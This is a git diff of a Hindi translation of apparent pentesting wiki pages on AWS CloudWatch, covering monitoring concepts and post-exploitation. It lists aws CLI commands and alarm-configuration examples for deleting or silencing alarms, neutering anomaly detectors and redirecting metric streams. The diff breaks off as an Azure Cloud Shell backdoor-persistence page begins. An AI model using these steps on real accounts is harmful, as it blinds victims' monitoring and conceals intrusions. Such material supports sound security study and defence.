Dimensions -Dimensions मेट्रिक्स का हिस्सा होते हैं जो कुंजी-मूल्य जोड़े होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, जिसमें 30 सबसे अधिक संख्या होती है जो एक मेट्रिक के साथ जुड़ी हो सकती है। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं। +Dimensions कुंजी-मूल्य जोड़े होते हैं जो मेट्रिक्स का हिस्सा होते हैं। वे एक मेट्रिक की अद्वितीय पहचान करने में मदद करते हैं और अतिरिक्त संदर्भ प्रदान करते हैं, 30 सबसे अधिक संख्या के Dimensions होते हैं जो एक मेट्रिक के साथ जुड़े हो सकते हैं। Dimensions विशिष्ट विशेषताओं के आधार पर मेट्रिक्स को फ़िल्टर और समेकित करने की अनुमति भी देते हैं। -- **उदाहरण**: EC2 इंस्टेंस के लिए, dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं। +- **उदाहरण**: EC2 इंस्टेंस के लिए, Dimensions में InstanceId, InstanceType, और AvailabilityZone शामिल हो सकते हैं। ### Statistics -Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य सांख्यिकी में औसत, योग, न्यूनतम, अधिकतम, और नमूना गणना शामिल हैं। +Statistics मेट्रिक डेटा पर किए गए गणितीय गणनाएँ हैं जो इसे समय के साथ संक्षिप्त करती हैं। सामान्य Statistics में Average, Sum, Minimum, Maximum, और SampleCount शामिल हैं। - **उदाहरण**: एक घंटे की अवधि में CPU उपयोग का औसत निकालना। ### Units -Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य यूनिट्स में प्रतिशत, बाइट्स, सेकंड, गणना शामिल हैं। +Units मेट्रिक से जुड़े मापने के प्रकार होते हैं। Units मेट्रिक डेटा को संदर्भ और अर्थ प्रदान करने में मदद करते हैं। सामान्य Units में Percent, Bytes, Seconds, Count शामिल हैं। -- **उदाहरण**: CPUUtilization प्रतिशत में मापा जा सकता है, जबकि NetworkIn बाइट्स में मापा जा सकता है। +- **उदाहरण**: CPUUtilization को Percent में मापा जा सकता है, जबकि NetworkIn को Bytes में मापा जा सकता है। ## CloudWatch Features ### Dashboard -**CloudWatch डैशबोर्ड** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य बनाने और एकल दृश्य में संसाधनों की निगरानी करने के लिए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है, विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करना। +**CloudWatch Dashboards** आपके AWS CloudWatch मेट्रिक्स के अनुकूलन योग्य **दृश्यों** को प्रदान करते हैं। डेटा को दृश्य में देखने और संसाधनों की निगरानी करने के लिए विभिन्न AWS सेवाओं से विभिन्न मेट्रिक्स को संयोजित करते हुए डैशबोर्ड बनाने और कॉन्फ़िगर करना संभव है। **मुख्य विशेषताएँ**: -- **विजेट्स**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं। +- **Widgets**: डैशबोर्ड के निर्माण खंड, जिसमें ग्राफ़, पाठ, अलार्म, और अधिक शामिल हैं। - **अनुकूलन**: लेआउट और सामग्री को विशिष्ट निगरानी आवश्यकताओं के अनुसार अनुकूलित किया जा सकता है। **उदाहरण उपयोग मामला**: @@ -66,38 +66,38 @@ Units मेट्रिक से जुड़े मापने के प् ### Metric Stream and Metric Data -**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में CloudWatch मेट्रिक्स को आपके द्वारा चुने गए गंतव्य पर निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है। +**Metric Streams** AWS CloudWatch में आपको लगभग वास्तविक समय में अपने पसंद के गंतव्य पर CloudWatch मेट्रिक्स को निरंतर स्ट्रीम करने की अनुमति देते हैं। यह उन्नत निगरानी, विश्लेषण, और AWS के बाहर के उपकरणों का उपयोग करके कस्टम डैशबोर्ड के लिए विशेष रूप से उपयोगी है। -**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु विभिन्न मेट्रिक्स जैसे CPU उपयोग, मेमोरी उपयोग, आदि का प्रतिनिधित्व करते हैं, AWS संसाधनों के लिए। +**Metric Data** Metric Streams के भीतर उन वास्तविक मापों या डेटा बिंदुओं को संदर्भित करता है जो स्ट्रीम किए जा रहे हैं। ये डेटा बिंदु CPU उपयोग, मेमोरी उपयोग, आदि जैसे विभिन्न मेट्रिक्स का प्रतिनिधित्व करते हैं। **उदाहरण उपयोग मामला**: - उन्नत विश्लेषण के लिए एक तृतीय-पक्ष निगरानी सेवा को वास्तविक समय के मेट्रिक्स भेजना। -- दीर्घकालिक भंडारण और अनुपालन के लिए एक Amazon S3 बकेट में मेट्रिक्स का संग्रहण। +- दीर्घकालिक भंडारण और अनुपालन के लिए Amazon S3 बकेट में मेट्रिक्स का संग्रहण करना। ### Alarm -**CloudWatch अलार्म** आपके मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब एक मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना। +**CloudWatch Alarms** आपकी मेट्रिक्स की निगरानी करते हैं और पूर्वनिर्धारित थ्रेशोल्ड के आधार पर क्रियाएँ करते हैं। जब कोई मेट्रिक एक थ्रेशोल्ड को पार करता है, तो अलार्म एक या एक से अधिक क्रियाएँ कर सकता है जैसे कि SNS के माध्यम से सूचनाएँ भेजना, ऑटो-स्केलिंग नीति को सक्रिय करना, या AWS Lambda फ़ंक्शन चलाना। **मुख्य घटक**: -- **थ्रेशोल्ड**: वह मान जिस पर अलार्म सक्रिय होता है। -- **मूल्यांकन अवधि**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है। -- **अलार्म के लिए डेटा बिंदु**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या। -- **क्रियाएँ**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)। +- **Threshold**: वह मान जिस पर अलार्म सक्रिय होता है। +- **Evaluation Periods**: वह अवधि जिसमें डेटा का मूल्यांकन किया जाता है। +- **Datapoints to Alarm**: अलार्म को सक्रिय करने के लिए आवश्यक पहुंची थ्रेशोल्ड के साथ अवधि की संख्या। +- **Actions**: जब अलार्म स्थिति सक्रिय होती है तो क्या होता है (जैसे, SNS के माध्यम से सूचित करना)। **उदाहरण उपयोग मामला**: -- EC2 इंस्टेंस CPU उपयोग की निगरानी करना और यदि यह 80% के लिए 5 लगातार मिनटों के लिए पार करता है तो SNS के माध्यम से एक सूचना भेजना। +- EC2 इंस्टेंस CPU उपयोग की निगरानी करना और यदि यह 80% के लिए 5 लगातार मिनटों तक बढ़ता है तो SNS के माध्यम से एक सूचना भेजना। ### Anomaly Detectors -**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपके मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है। +**Anomaly Detectors** मशीन लर्निंग का उपयोग करके आपकी मेट्रिक्स में स्वचालित रूप से विसंगतियों का पता लगाते हैं। आप किसी भी CloudWatch मेट्रिक पर विसंगति पहचान लागू कर सकते हैं ताकि सामान्य पैटर्न से विचलन की पहचान की जा सके जो समस्याओं का संकेत दे सकता है। **मुख्य घटक**: -- **मॉडल प्रशिक्षण**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है। -- **विसंगति पहचान बैंड**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व। +- **Model Training**: CloudWatch ऐतिहासिक डेटा का उपयोग करके एक मॉडल को प्रशिक्षित करता है और यह स्थापित करता है कि सामान्य व्यवहार कैसा दिखता है। +- **Anomaly Detection Band**: एक मेट्रिक के लिए अपेक्षित मानों की सीमा का दृश्य प्रतिनिधित्व। **उदाहरण उपयोग मामला**: @@ -107,7 +107,7 @@ Units मेट्रिक से जुड़े मापने के प् **Insight Rules** आपको अपने मेट्रिक डेटा में रुझानों की पहचान करने, स्पाइक्स का पता लगाने, या अन्य रुचि के पैटर्न को पहचानने की अनुमति देते हैं, **शक्तिशाली गणितीय अभिव्यक्तियों** का उपयोग करके उन स्थितियों को परिभाषित करते हैं जिनके तहत क्रियाएँ की जानी चाहिए। ये नियम आपको अपने संसाधन प्रदर्शन और उपयोग में विसंगतियों या असामान्य व्यवहार की पहचान करने में मदद कर सकते हैं। -**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। ये विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किए गए हैं और बिना विस्तृत कॉन्फ़िगरेशन की आवश्यकता के सक्षम किए जा सकते हैं। +**Managed Insight Rules** पूर्व-निर्धारित **insight rules हैं जो AWS द्वारा प्रदान किए जाते हैं**। इन्हें विशिष्ट AWS सेवाओं या सामान्य उपयोग मामलों की निगरानी के लिए डिज़ाइन किया गया है और इन्हें विस्तृत कॉन्फ़िगरेशन की आवश्यकता के बिना सक्षम किया जा सकता है। **उदाहरण उपयोग मामला**: @@ -117,23 +117,23 @@ Units मेट्रिक से जुड़े मापने के प् अनुप्रयोगों और सिस्टम से **लॉग को एकत्रित और निगरानी** करने की अनुमति देता है **AWS सेवाओं** (जिसमें CloudTrail शामिल है) और **ऐप्स/सिस्टम** से (**CloudWatch एजेंट** को एक होस्ट पर स्थापित किया जा सकता है)। लॉग को **अनिश्चितकालीन** (लॉग समूह सेटिंग्स के आधार पर) संग्रहीत किया जा सकता है और निर्यात किया जा सकता है। -**घटक**: - -| **लॉग समूह** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है | +**तत्व**: +| Term | Definition | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **लॉग स्ट्रीम** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है | -| **सदस्यता फ़िल्टर** | एक **फ़िल्टर पैटर्न परिभाषित करें जो घटनाओं से मेल खाता है** एक विशेष लॉग समूह में, उन्हें Kinesis डेटा फायरहोज़ स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें | +| **Log Group** | एक **लॉग स्ट्रीम का संग्रह** जो समान रिटेंशन, निगरानी, और एक्सेस नियंत्रण सेटिंग्स साझा करता है | +| **Log Stream** | एक **लॉग इवेंट्स** का अनुक्रम जो **समान स्रोत** साझा करता है | +| **Subscription Filters** | एक **फ़िल्टर पैटर्न परिभाषित करें जो एक विशेष लॉग समूह में घटनाओं से मेल खाता है**, उन्हें Kinesis Data Firehose स्ट्रीम, Kinesis स्ट्रीम, या एक Lambda फ़ंक्शन पर भेजें | ### CloudWatch Monitoring & Events -CloudWatch **बुनियादी** हर 5 मिनट में डेटा को **संक्षिप्त** करता है ( **विस्तृत** एक मिनट में ऐसा करता है)। संक्षेपण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\ +CloudWatch **बुनियादी** डेटा को **हर 5 मिनट** में एकत्र करता है ( **विस्तृत** एक **हर 1 मिनट** में करता है)। एकत्रण के बाद, यह **अलार्म के थ्रेशोल्ड की जांच करता है** यदि इसे एक को सक्रिय करने की आवश्यकता है।\ इस मामले में, CloudWatch एक इवेंट भेजने और कुछ स्वचालित क्रियाएँ करने के लिए तैयार हो सकता है (AWS Lambda फ़ंक्शन, SNS विषय, SQS कतारें, Kinesis स्ट्रीम) ### Agent Installation -आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch पर वापस भेजा जा सके। +आप अपने मशीनों/कंटेनरों के अंदर एजेंट स्थापित कर सकते हैं ताकि स्वचालित रूप से लॉग को CloudWatch में वापस भेजा जा सके। -- **एक** **भूमिका** बनाएं और **इंस्टेंस** से **जोड़ें** जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने के लिए अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने के लिए (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **एक** **भूमिका** बनाएं और **इंस्टेंस** से इसे संलग्न करें जिसमें CloudWatch को इंस्टेंस से डेटा एकत्र करने की अनुमति देने वाले अनुमतियाँ हों, इसके अलावा AWS सिस्टम प्रबंधक SSM के साथ बातचीत करने की अनुमति हो (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) - **एजेंट** को EC2 इंस्टेंस पर **डाउनलोड** और **स्थापित** करें ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). आप इसे EC2 के अंदर से डाउनलोड कर सकते हैं या AWS सिस्टम प्रबंधक का उपयोग करके स्वचालित रूप से स्थापित कर सकते हैं, पैकेज AWS-ConfigureAWSPackage का चयन करके। - CloudWatch एजेंट को **कॉन्फ़िगर** और **शुरू करें**। @@ -218,16 +218,16 @@ aws events list-event-buses इस अनुमति के साथ एक हमलावर एक संगठन की निगरानी और अलर्टिंग अवसंरचना को महत्वपूर्ण रूप से कमजोर कर सकता है। मौजूदा अलार्मों को हटाकर, एक हमलावर महत्वपूर्ण प्रदर्शन मुद्दों, सुरक्षा उल्लंघनों, या संचालन विफलताओं के बारे में प्रशासकों को सूचित करने वाले महत्वपूर्ण अलर्ट को निष्क्रिय कर सकता है। इसके अलावा, मेट्रिक अलार्म बनाने या संशोधित करके, हमलावर प्रशासकों को गलत अलर्ट के साथ भटका सकता है या वैध अलार्मों को चुप करा सकता है, प्रभावी रूप से दुर्भावनापूर्ण गतिविधियों को छिपा सकता है और वास्तविक घटनाओं के लिए समय पर प्रतिक्रियाओं को रोक सकता है। -इसके अलावा, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं। +इसके अतिरिक्त, **`cloudwatch:PutCompositeAlarm`** अनुमति के साथ, एक हमलावर समग्र अलार्मों का एक लूप या चक्र बनाने में सक्षम होगा, जहां समग्र अलार्म A समग्र अलार्म B पर निर्भर करता है, और समग्र अलार्म B भी समग्र अलार्म A पर निर्भर करता है। इस परिदृश्य में, चक्र का हिस्सा होने वाले किसी भी समग्र अलार्म को हटाना संभव नहीं है क्योंकि हमेशा एक समग्र अलार्म होता है जो उस अलार्म पर निर्भर करता है जिसे आप हटाना चाहते हैं। ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -उदाहरण दिखाता है कि एक मैट्रिक अलार्म को कैसे अप्रभावी बनाया जा सकता है: +उदाहरण दिखाता है कि एक मैट्रिक अलार्म को अप्रभावी कैसे बनाया जाए: -- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों की आवश्यकता होती है (कुल 30 मिनट)। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा। -- थ्रेशोल्ड को 99% से अधिक करने, पीरियड को 10 सेकंड सेट करने, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है) और डाटापॉइंट्स को अलार्म के लिए 8640 करने से, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके। +- यह मैट्रिक अलार्म एक विशिष्ट EC2 इंस्टेंस की औसत CPU उपयोगिता की निगरानी करता है, हर 300 सेकंड में मैट्रिक का मूल्यांकन करता है और 6 मूल्यांकन अवधियों (कुल 30 मिनट) की आवश्यकता होती है। यदि औसत CPU उपयोगिता इन अवधियों में से कम से कम 4 के लिए 60% से अधिक हो जाती है, तो अलार्म ट्रिगर होगा और निर्दिष्ट SNS विषय को एक सूचना भेजेगा। +- थ्रेशोल्ड को 99% से अधिक, पीरियड को 10 सेकंड, मूल्यांकन अवधियों को 8640 (क्योंकि 10 सेकंड के 8640 अवधियों का मतलब 1 दिन है), और डाटापॉइंट्स को अलार्म के लिए 8640 सेट करके, CPU उपयोगिता को पूरे 24 घंटे की अवधि में हर 10 सेकंड में 99% से अधिक होना आवश्यक होगा ताकि अलार्म ट्रिगर हो सके। {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` {{#endtab }} -{{#tab name="संशोधित मैट्रिक अलार्म" }} +{{#tab name="Modified Metric Alarm" }} ```json { "Namespace": "AWS/EC2", @@ -285,24 +285,24 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- अलार्म क्रियाओं को हटाकर, हमलावर महत्वपूर्ण अलर्ट और स्वचालित प्रतिक्रियाओं को रोक सकता है जब अलार्म स्थिति प्राप्त होती है, जैसे कि प्रशासकों को सूचित करना या ऑटो-स्केलिंग गतिविधियों को सक्रिय करना। अनुचित रूप से अलार्म क्रियाओं को सक्षम या पुनः सक्षम करना भी अप्रत्याशित व्यवहार का कारण बन सकता है, या तो पहले से अक्षम की गई क्रियाओं को फिर से सक्रिय करके या यह संशोधित करके कि कौन सी क्रियाएँ सक्रिय होती हैं, संभावित रूप से घटना प्रतिक्रिया में भ्रम और गलत दिशा का कारण बनता है। -इसके अलावा, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्मों को चुप करा सके। +इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्म को चुप करा सके। -- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन किया जाता है। +- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन भी किया जाता है। ```bash aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना। +**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, झूठी चेतावनियाँ, वास्तविक चेतावनियों को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना। ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** -एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकेगा। मौजूदा विसंगति डिटेक्टरों को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या गलत सकारात्मक बनाने में सक्षम होगा। +एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकता है। मौजूदा विसंगति डिटेक्टर्स को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या झूठे सकारात्मक बना सकता है। ```bash aws cloudwatch delete-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को अप्रभावी कैसे बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस "ExcludedTimeRanges" पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है। +निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को कैसे अप्रभावी बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है। {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -323,7 +323,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -374,22 +374,22 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति प्रभावी रूप से अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर बनाना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है। +महत्वपूर्ण अंतर्दृष्टि नियमों को निष्क्रिय करके, एक हमलावर संगठन को प्रमुख प्रदर्शन और सुरक्षा मैट्रिक्स के प्रति अंधा कर सकता है। इसके विपरीत, भ्रामक नियमों को सक्षम या कॉन्फ़िगर करके, गलत डेटा उत्पन्न करना, शोर बनाना, या दुर्भावनापूर्ण गतिविधि को छिपाना संभव हो सकता है। ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**संभावित प्रभाव**: संचालन टीम के बीच भ्रम, वास्तविक मुद्दों के प्रति देरी से प्रतिक्रिया और झूठी चेतावनियों के आधार पर अनावश्यक कार्रवाई। +**संभावित प्रभाव**: संचालन टीम के बीच भ्रम, जिसके परिणामस्वरूप वास्तविक मुद्दों के लिए देरी से प्रतिक्रिया और झूठी चेतावनियों के आधार पर अनावश्यक कार्रवाई। ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** एक हमलावर जिसके पास **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** अनुमतियाँ हैं, वह मेट्रिक डेटा स्ट्रीम बनाने और हटाने में सक्षम होगा, जिससे सुरक्षा, निगरानी और डेटा की अखंडता प्रभावित होगी: - **दुष्ट स्ट्रीम बनाना**: संवेदनशील डेटा को अनधिकृत स्थलों पर भेजने के लिए मेट्रिक स्ट्रीम बनाना। -- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत चेतावनियाँ उत्पन्न होती हैं, और वास्तविक मुद्दों को छिपा दिया जाता है। -- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निरंतर निगरानी डेटा के प्रवाह को बाधित कर देंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी। +- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत अलर्ट उत्पन्न होते हैं, और वास्तविक मुद्दों को छिपा दिया जाता है। +- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निगरानी डेटा के निरंतर प्रवाह को बाधित करेंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी। -इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा के कारण यह पूरी तरह से बेकार हो जाएगा। +इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, एक मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा इसे पूरी तरह से बेकार बना देती है। ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format @@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -एक हमलावर CloudWatch संसाधनों (वर्तमान में केवल अलार्म और Contributor Insights नियम) से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। इससे आपके संगठन की टैग के आधार पर पहुंच नियंत्रण नीतियों में बाधा आ सकती है। +एक हमलावर CloudWatch संसाधनों (वर्तमान में केवल अलार्म और Contributor Insights नियम) से टैग जोड़ने, संशोधित करने या हटाने में सक्षम होगा। इससे आपके संगठन की टैग के आधार पर पहुँच नियंत्रण नीतियों में बाधा आ सकती है। ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 4d0ee128d..a3e5a8b81 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -4,27 +4,19 @@ ## Cloud Shell Persistence -Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं: +Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी स्टोरेज और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं: * **Persistent Storage**: Azure Cloud Shell की 